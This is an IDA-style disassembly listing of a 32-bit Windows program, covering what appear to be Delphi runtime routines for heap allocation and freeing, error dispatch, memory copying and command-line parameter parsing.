		push	esi
		push	edi
		mov	ebx, eax
		cmp	ds:byte_41E428,	0
		jnz	short loc_401FFF
		call	sub_401904
		test	al, al
		jnz	short loc_401FFF
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_402153
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401FFF:				; CODE XREF: sub_401FD8+12j
					; sub_401FD8+1Bj
		xor	ecx, ecx
		push	ebp
		push	offset loc_40214C
		push	dword ptr fs:[ecx]
		mov	fs:[ecx], esp
		cmp	ds:byte_41E041,	0
		jz	short loc_402020
		push	offset unk_41E430
		call	j_EnterCriticalSection

loc_402020:				; CODE XREF: sub_401FD8+3Cj
		add	ebx, 7
		and	ebx, 0FFFFFFFCh
		cmp	ebx, 0Ch
		jge	short loc_402030
		mov	ebx, 0Ch

loc_402030:				; CODE XREF: sub_401FD8+51j
		cmp	ebx, 1000h
		jg	loc_4020CF
		mov	eax, ebx
		test	eax, eax
		jns	short loc_402045
		add	eax, 3

loc_402045:				; CODE XREF: sub_401FD8+68j
		sar	eax, 2
		mov	edx, ds:dword_41E488
		mov	edx, [edx+eax*4-0Ch]
		test	edx, edx
		jz	short loc_4020CF
		mov	esi, edx
		mov	eax, esi
		add	eax, ebx
		and	dword ptr [eax], 0FFFFFFFEh
		mov	eax, [edx+4]
		cmp	edx, eax
		jnz	short loc_402080
		mov	eax, ebx
		test	eax, eax
		jns	short loc_40206F
		add	eax, 3

loc_40206F:				; CODE XREF: sub_401FD8+92j
		sar	eax, 2
		mov	ecx, ds:dword_41E488
		xor	edi, edi
		mov	[ecx+eax*4-0Ch], edi
		jmp	short loc_4020A6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402080:				; CODE XREF: sub_401FD8+8Cj
		mov	ecx, ebx
		test	ecx, ecx
		jns	short loc_402089
		add	ecx, 3

loc_402089:				; CODE XREF: sub_401FD8+ACj
		sar	ecx, 2
		mov	edi, ds:dword_41E488
		mov	[edi+ecx*4-0Ch], eax
		mov	ecx, [edx]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx+4], eax
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx

loc_4020A6:				; CODE XREF: sub_401FD8+A6j
		mov	eax, esi
		mov	edx, [edx+8]
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_41E41C
		sub	ebx, 4
		add	ds:dword_41E420, ebx
		call	sub_403038
		jmp	loc_402153
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4020CF:				; CODE XREF: sub_401FD8+5Ej
					; sub_401FD8+7Cj
		cmp	ebx, ds:dword_41E480
		jg	short loc_402121
		sub	ds:dword_41E480, ebx
		cmp	ds:dword_41E480, 0Ch
		jge	short loc_4020F3
		add	ebx, ds:dword_41E480
		xor	eax, eax
		mov	ds:dword_41E480, eax

loc_4020F3:				; CODE XREF: sub_401FD8+10Cj
		mov	eax, ds:dword_41E484
		add	ds:dword_41E484, ebx
		mov	edx, ebx
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_41E41C
		sub	ebx, 4
		add	ds:dword_41E420, ebx
		call	sub_403038
		jmp	short loc_402153
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402121:				; CODE XREF: sub_401FD8+FDj
		mov	eax, ebx
		call	sub_401EE4
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402153

loc_402138:				; CODE XREF: sub_401FD8+179j
		cmp	ds:byte_41E041,	0
		jz	short locret_40214B
		push	offset unk_41E430
		call	j_LeaveCriticalSection

locret_40214B:				; CODE XREF: sub_401FD8+167j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40214C:				; DATA XREF: sub_401FD8+2Ao
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_402138
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402153:				; CODE XREF: sub_401FD8+22j
					; sub_401FD8+F2j ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_401FD8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_402160	proc near		; CODE XREF: sub_401B6C+1Cp
					; sub_4024D4+88p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	eax, eax
		mov	ds:dword_41E42C, eax
		cmp	ds:byte_41E428,	0
		jnz	short loc_402198
		call	sub_401904
		test	al, al
		jnz	short loc_402198
		mov	ds:dword_41E42C, 8
		mov	[ebp+var_4], 8
		jmp	loc_4022F9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402198:				; CODE XREF: sub_402160+17j
					; sub_402160+20j
		xor	ecx, ecx
		push	ebp
		push	offset loc_4022F2
		push	dword ptr fs:[ecx]
		mov	fs:[ecx], esp
		cmp	ds:byte_41E041,	0
		jz	short loc_4021B9
		push	offset unk_41E430
		call	j_EnterCriticalSection

loc_4021B9:				; CODE XREF: sub_402160+4Dj
		mov	esi, ebx
		sub	esi, 4
		mov	ebx, [esi]
		test	bl, 2
		jnz	short loc_4021D4
		mov	ds:dword_41E42C, 9
		jmp	loc_4022C9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4021D4:				; CODE XREF: sub_402160+63j
		dec	ds:dword_41E41C
		mov	eax, ebx
		and	eax, 7FFFFFFCh
		sub	eax, 4
		sub	ds:dword_41E420, eax
		test	bl, 1
		jz	short loc_402234
		mov	eax, esi
		sub	eax, 0Ch
		mov	edx, [eax+8]
		cmp	edx, 0Ch
		jl	short loc_402204
		test	edx, 80000003h
		jz	short loc_402213

loc_402204:				; CODE XREF: sub_402160+9Aj
		mov	ds:dword_41E42C, 0Ah
		jmp	loc_4022C9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402213:				; CODE XREF: sub_402160+A2j
		mov	eax, esi
		sub	eax, edx
		cmp	edx, [eax+8]
		jz	short loc_40222B
		mov	ds:dword_41E42C, 0Ah
		jmp	loc_4022C9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40222B:				; CODE XREF: sub_402160+BAj
		add	ebx, edx
		mov	esi, eax
		call	sub_401AA8

loc_402234:				; CODE XREF: sub_402160+8Dj
		and	ebx, 7FFFFFFCh
		mov	eax, esi
		add	eax, ebx
		mov	edi, eax
		cmp	edi, ds:dword_41E484
		jnz	short loc_402274
		sub	ds:dword_41E484, ebx
		add	ds:dword_41E480, ebx
		cmp	ds:dword_41E480, 3C00h
		jle	short loc_402265
		call	sub_401D80

loc_402265:				; CODE XREF: sub_402160+FEj
		xor	eax, eax
		mov	[ebp+var_4], eax
		call	sub_403038
		jmp	loc_4022F9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402274:				; CODE XREF: sub_402160+E6j
		mov	edx, [eax]
		test	dl, 2
		jz	short loc_402297
		and	edx, 7FFFFFFCh
		cmp	edx, 4
		jge	short loc_402292
		mov	ds:dword_41E42C, 0Bh
		jmp	short loc_4022C9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402292:				; CODE XREF: sub_402160+124j
		or	dword ptr [eax], 1
		jmp	short loc_4022C0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402297:				; CODE XREF: sub_402160+119j
		mov	eax, edi
		cmp	dword ptr [eax+4], 0
		jz	short loc_4022AA
		cmp	dword ptr [eax], 0
		jz	short loc_4022AA
		cmp	dword ptr [eax+8], 0Ch
		jge	short loc_4022B6

loc_4022AA:				; CODE XREF: sub_402160+13Dj
					; sub_402160+142j
		mov	ds:dword_41E42C, 0Bh
		jmp	short loc_4022C9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4022B6:				; CODE XREF: sub_402160+148j
		mov	edx, [eax+8]
		add	ebx, edx
		call	sub_401AA8

loc_4022C0:				; CODE XREF: sub_402160+135j
		mov	edx, ebx
		mov	eax, esi
		call	sub_401CF8

loc_4022C9:				; CODE XREF: sub_402160+6Fj
					; sub_402160+AEj ...
		mov	eax, ds:dword_41E42C
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4022F9

loc_4022DE:				; CODE XREF: sub_402160+197j
		cmp	ds:byte_41E041,	0
		jz	short locret_4022F1
		push	offset unk_41E430
		call	j_LeaveCriticalSection

locret_4022F1:				; CODE XREF: sub_402160+185j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4022F2:				; DATA XREF: sub_402160+3Bo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4022DE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4022F9:				; CODE XREF: sub_402160+33j
					; sub_402160+10Fj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_402160	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402304	proc near		; CODE XREF: sub_4024D4+4Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		add	esi, 7
		and	esi, 0FFFFFFFCh
		cmp	esi, 0Ch
		jge	short loc_40231D
		mov	esi, 0Ch

loc_40231D:				; CODE XREF: sub_402304+12j
		mov	ebp, eax
		sub	ebp, 4
		mov	edi, [ebp+0]
		and	edi, 7FFFFFFCh
		mov	eax, ebp
		add	eax, edi
		mov	ebx, eax
		cmp	edi, esi
		jl	loc_4023BC
		mov	edx, edi
		sub	edx, esi
		mov	[esp+8+var_8], edx
		cmp	ebx, ds:dword_41E484
		jnz	short loc_402380
		mov	eax, [esp+8+var_8]
		sub	ds:dword_41E484, eax
		mov	eax, [esp+8+var_8]
		add	ds:dword_41E480, eax
		cmp	ds:dword_41E480, 0Ch
		jge	loc_4024B3
		mov	eax, [esp+8+var_8]
		add	ds:dword_41E484, eax
		mov	eax, [esp+8+var_8]
		sub	ds:dword_41E480, eax
		mov	esi, edi
		jmp	loc_4024B3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402380:				; CODE XREF: sub_402304+42j
		mov	ebx, eax
		test	byte ptr [ebx],	2
		jnz	short loc_402394
		mov	eax, ebx
		mov	edx, [eax+8]
		add	[esp+8+var_8], edx
		call	sub_401AA8

loc_402394:				; CODE XREF: sub_402304+81j
		cmp	[esp+8+var_8], 0Ch
		jl	short loc_4023B5
		mov	ebx, ebp
		add	ebx, esi
		mov	eax, [esp+8+var_8]
		or	eax, 2
		mov	[ebx], eax
		mov	eax, ebx
		add	eax, 4
		call	sub_401B6C
		jmp	loc_4024B3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4023B5:				; CODE XREF: sub_402304+94j
		mov	esi, edi
		jmp	loc_4024B3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4023BC:				; CODE XREF: sub_402304+2Fj
					; sub_402304+1A6j
		mov	eax, esi
		sub	eax, edi
		mov	[esp+8+var_4], eax
		cmp	ebx, ds:dword_41E484
		jnz	short loc_402433
		mov	eax, ds:dword_41E480
		cmp	eax, [esp+8+var_4]
		jl	short loc_40242A
		mov	eax, [esp+8+var_4]
		sub	ds:dword_41E480, eax
		mov	eax, [esp+8+var_4]
		add	ds:dword_41E484, eax
		cmp	ds:dword_41E480, 0Ch
		jge	short loc_40240C
		mov	eax, ds:dword_41E480
		add	ds:dword_41E484, eax
		add	esi, ds:dword_41E480
		xor	eax, eax
		mov	ds:dword_41E480, eax

loc_40240C:				; CODE XREF: sub_402304+EEj
		mov	eax, esi
		sub	eax, edi
		add	ds:dword_41E420, eax
		mov	eax, [ebp+0]
		and	eax, 80000003h
		or	esi, eax
		mov	[ebp+0], esi
		mov	al, 1
		jmp	loc_4024CC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40242A:				; CODE XREF: sub_402304+D1j
		call	sub_401D80
		mov	ebx, ebp
		add	ebx, edi

loc_402433:				; CODE XREF: sub_402304+C6j
		test	byte ptr [ebx],	2
		jnz	short loc_402485
		mov	edx, ebx
		mov	eax, edx
		mov	ecx, [eax+8]
		mov	[esp+8+var_8], ecx
		mov	ecx, [esp+8+var_8]
		cmp	ecx, [esp+8+var_4]
		jge	short loc_402459
		add	edx, [esp+8+var_8]
		mov	ebx, edx
		mov	eax, [esp+8+var_8]
		sub	[esp+8+var_4], eax
		jmp	short loc_402485
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402459:				; CODE XREF: sub_402304+145j
		call	sub_401AA8
		mov	eax, [esp+8+var_4]
		sub	[esp+8+var_8], eax
		cmp	[esp+8+var_8], 0Ch
		jl	short loc_402479
		mov	eax, ebp
		add	eax, esi
		mov	edx, [esp+8+var_8]
		call	sub_401CF8
		jmp	short loc_4024B3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402479:				; CODE XREF: sub_402304+165j
		add	esi, [esp+8+var_8]
		mov	ebx, ebp
		add	ebx, esi
		and	dword ptr [ebx], 0FFFFFFFEh
		jmp	short loc_4024B3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402485:				; CODE XREF: sub_402304+132j
					; sub_402304+153j
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_4024AF
		and	eax, 7FFFFFFCh
		add	eax, ebx
		mov	ebx, eax
		mov	edx, [esp+8+var_4]
		mov	eax, ebx
		call	sub_401E84
		test	al, al
		jz	short loc_4024AF
		mov	ebx, ebp
		add	ebx, edi
		jmp	loc_4023BC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4024AF:				; CODE XREF: sub_402304+188j
					; sub_402304+1A0j
		xor	eax, eax
		jmp	short loc_4024CC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4024B3:				; CODE XREF: sub_402304+5Dj
					; sub_402304+77j ...
		mov	eax, esi
		sub	eax, edi
		add	ds:dword_41E420, eax
		mov	eax, [ebp+0]
		and	eax, 80000003h
		or	esi, eax
		mov	[ebp+0], esi
		mov	al, 1

loc_4024CC:				; CODE XREF: sub_402304+121j
					; sub_402304+1ADj
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402304	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4024D4	proc near		; CODE XREF: sub_4025B0+4j
					; sub_4025C8+Dj
					; DATA XREF: ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		cmp	ds:byte_41E428,	0
		jnz	short loc_4024FB
		call	sub_401904
		test	al, al
		jnz	short loc_4024FB
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_40258C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4024FB:				; CODE XREF: sub_4024D4+12j
					; sub_4024D4+1Bj
		xor	edx, edx
		push	ebp
		push	offset loc_402585
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_41E041,	0
		jz	short loc_40251C
		push	offset unk_41E430
		call	j_EnterCriticalSection

loc_40251C:				; CODE XREF: sub_4024D4+3Cj
		mov	edx, esi
		mov	eax, ebx
		call	sub_402304
		test	al, al
		jz	short loc_40252E
		mov	[ebp+var_4], ebx
		jmp	short loc_402564
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40252E:				; CODE XREF: sub_4024D4+53j
		mov	eax, esi
		call	sub_401FD8
		mov	edi, eax
		mov	eax, ebx
		sub	eax, 4
		mov	eax, [eax]
		and	eax, 7FFFFFFCh
		sub	eax, 4
		cmp	esi, eax
		jge	short loc_40254C
		mov	eax, esi

loc_40254C:				; CODE XREF: sub_4024D4+74j
		test	edi, edi
		jz	short loc_402561
		mov	edx, edi
		mov	ecx, ebx
		xchg	eax, ecx
		call	sub_4026B0
		mov	eax, ebx
		call	sub_402160

loc_402561:				; CODE XREF: sub_4024D4+7Aj
		mov	[ebp+var_4], edi

loc_402564:				; CODE XREF: sub_4024D4+58j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40258C

loc_402571:				; CODE XREF: sub_4024D4+B6j
		cmp	ds:byte_41E041,	0
		jz	short locret_402584
		push	offset unk_41E430
		call	j_LeaveCriticalSection

locret_402584:				; CODE XREF: sub_4024D4+A4j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402585:				; DATA XREF: sub_4024D4+2Ao
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_402571
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40258C:				; CODE XREF: sub_4024D4+22j
					; DATA XREF: sub_4024D4+98o
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4024D4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402598	proc near		; CODE XREF: CODE:00402B74p
					; sub_40358C+8p ...
		test	eax, eax
		jz	short locret_4025A6
		call	ds:off_41C01C
		or	eax, eax
		jz	short loc_4025A7

locret_4025A6:				; CODE XREF: sub_402598+2j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4025A7:				; CODE XREF: sub_402598+Cj
		mov	al, 1
		jmp	sub_402618
sub_402598	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4025B0	proc near		; CODE XREF: sub_402B84+1Dp
					; sub_4034C8+1Cp ...
		test	eax, eax
		jz	short locret_4025BE
		call	ds:off_41C020
		or	eax, eax
		jnz	short loc_4025BF

locret_4025BE:				; CODE XREF: sub_4025B0+2j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4025BF:				; CODE XREF: sub_4025B0+Cj
		mov	al, 2
		jmp	sub_402618
sub_4025B0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4025C8	proc near		; CODE XREF: sub_4039FC+22p
					; sub_404414+B9p ...
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_402600
		test	edx, edx
		jz	short loc_4025EA
		push	eax
		mov	eax, ecx
		call	ds:off_41C024
		pop	ecx
		or	eax, eax
		jz	short loc_4025F9
		mov	[ecx], eax
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4025E3:				; CODE XREF: sub_4025C8+2Ej
		mov	al, 2
		jmp	sub_402618
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4025EA:				; CODE XREF: sub_4025C8+8j
		mov	[eax], edx
		mov	eax, ecx
		call	ds:off_41C020
		or	eax, eax
		jnz	short loc_4025E3
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4025F9:				; CODE XREF: sub_4025C8+16j
					; sub_4025C8+48j
		mov	al, 1
		jmp	sub_402618
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402600:				; CODE XREF: sub_4025C8+4j
		test	edx, edx
		jz	short locret_402614
		push	eax
		mov	eax, edx
		call	ds:off_41C01C
		pop	ecx
		or	eax, eax
		jz	short loc_4025F9
		mov	[ecx], eax

locret_402614:				; CODE XREF: sub_4025C8+3Aj
		retn
sub_4025C8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402618	proc near		; CODE XREF: sub_402598+11j
					; sub_4025B0+11j ...
		and	eax, 7Fh
		mov	ecx, ds:dword_41E004
		test	ecx, ecx
		jz	short loc_402628
		pop	edx
		call	ecx

loc_402628:				; CODE XREF: sub_402618+Bj
		dec	eax
		mov	al, byte ptr ds:nullsub_5[eax]
		jns	short loc_40263C
		call	sub_4059F0
		mov	eax, [eax+4]

loc_40263C:				; CODE XREF: sub_402618+17j
		jmp	sub_4034BC
sub_402618	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
aRsu		db 'лхивохмншьйызэщчъЮАЦ',0
		dd 8BC3E5E4h
		db 0C0h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40265C	proc near		; CODE XREF: CODE:00409409p
					; sub_416478+13Bp ...
		push	eax
		push	edx
		push	ecx
		call	sub_4059F0
		cmp	dword ptr [eax+4], 0
		pop	ecx
		pop	edx
		pop	eax
		jnz	short loc_402671
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402671:				; CODE XREF: sub_40265C+12j
		xor	eax, eax
		jmp	sub_402618
sub_40265C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40267C	proc near		; CODE XREF: CODE:00402691j
					; CODE:00404E8Cj ...
		push	eax
		call	sub_4059F0
		pop	dword ptr [eax+4]
		retn
sub_40267C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40268C:				; CODE XREF: CODE:0040513Dj
		call	j_GetLastError
		jmp	sub_40267C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402698	proc near		; CODE XREF: sub_409608+7p
		call	sub_4059F0
		xor	edx, edx
		mov	ecx, [eax+4]
		mov	[eax+4], edx
		mov	eax, ecx
		retn
sub_402698	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4026B0	proc near		; CODE XREF: sub_4024D4+81p
					; sub_40351C+1Bp ...
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	eax, ecx
		cmp	edi, esi
		ja	short loc_4026CF
		jz	short loc_4026ED
		sar	ecx, 2
		js	short loc_4026ED
		repe movsd
		mov	ecx, eax
		and	ecx, 3
		repe movsb
		pop	edi
		pop	esi
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4026CF:				; CODE XREF: sub_4026B0+Aj
		lea	esi, [esi+ecx-4]
		lea	edi, [edi+ecx-4]
		sar	ecx, 2
		js	short loc_4026ED
		std
		repe movsd
		mov	ecx, eax
		and	ecx, 3
		add	esi, 3
		add	edi, 3
		repe movsb
		cld

loc_4026ED:				; CODE XREF: sub_4026B0+Cj
					; sub_4026B0+11j ...
		pop	edi
		pop	esi
		retn
sub_4026B0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4026F0	proc near		; CODE XREF: sub_402768+3Ap

var_1000	= byte ptr -1000h

		push	ebx
		push	esi
		add	esp, 0FFFFF004h
		push	eax
		mov	esi, edx
		mov	ebx, eax
		jmp	short loc_402700
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4026FF:				; CODE XREF: sub_4026F0+18j
		inc	ebx

loc_402700:				; CODE XREF: sub_4026F0+Dj
					; sub_4026F0+28j
		mov	al, [ebx]
		test	al, al
		jz	short loc_40270A
		cmp	al, 20h
		jbe	short loc_4026FF

loc_40270A:				; CODE XREF: sub_4026F0+14j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_40271A
		cmp	byte ptr [ebx+1], 22h
		jnz	short loc_40271A
		add	ebx, 2
		jmp	short loc_402700
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40271A:				; CODE XREF: sub_4026F0+1Dj
					; sub_4026F0+23j
		xor	eax, eax
		jmp	short loc_402743
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40271E:				; CODE XREF: sub_4026F0+5Fj
		cmp	dl, 22h
		jnz	short loc_40273E
		inc	ebx
		jmp	short loc_40272B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402726:				; CODE XREF: sub_4026F0+44j
		mov	[esp+eax+1000h+var_1000], dl
		inc	eax
		inc	ebx

loc_40272B:				; CODE XREF: sub_4026F0+34j
		mov	dl, [ebx]
		test	dl, dl
		jz	short loc_402736
		cmp	dl, 22h
		jnz	short loc_402726

loc_402736:				; CODE XREF: sub_4026F0+3Fj
		cmp	byte ptr [ebx],	0
		jz	short loc_402743
		inc	ebx
		jmp	short loc_402743
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40273E:				; CODE XREF: sub_4026F0+31j
		mov	[esp+eax+1000h+var_1000], dl
		inc	eax
		inc	ebx

loc_402743:				; CODE XREF: sub_4026F0+2Cj
					; sub_4026F0+49j ...
		mov	dl, [ebx]
		cmp	dl, 20h
		jbe	short loc_402751
		cmp	eax, 1000h
		jl	short loc_40271E

loc_402751:				; CODE XREF: sub_4026F0+58j
		mov	edx, esp
		mov	ecx, esi
		xchg	eax, ecx
		call	sub_4035B0
		mov	eax, ebx
		add	esp, 1000h
		pop	esi
		pop	ebx
		retn
sub_4026F0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402768	proc near		; CODE XREF: start+E4p	start+300p ...

var_108		= byte ptr -108h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFEF8h
		mov	esi, edx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_402797
		push	105h
		lea	eax, [esp+10Ch+var_108]
		push	eax
		push	0
		call	j_GetModuleFileNameA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, esi
		call	sub_4035B0
		jmp	short loc_4027B5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402797:				; CODE XREF: sub_402768+Fj
		call	j_GetCommandLineA
		mov	edi, eax

loc_40279E:				; CODE XREF: sub_402768+4Bj
		mov	edx, esi
		mov	eax, edi
		call	sub_4026F0
		mov	edi, eax
		test	ebx, ebx
		jz	short loc_4027B5
		cmp	dword ptr [esi], 0
		jz	short loc_4027B5
		dec	ebx
		jmp	short loc_40279E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4027B5:				; CODE XREF: sub_402768+2Dj
					; sub_402768+43j ...
		add	esp, 108h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402768	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

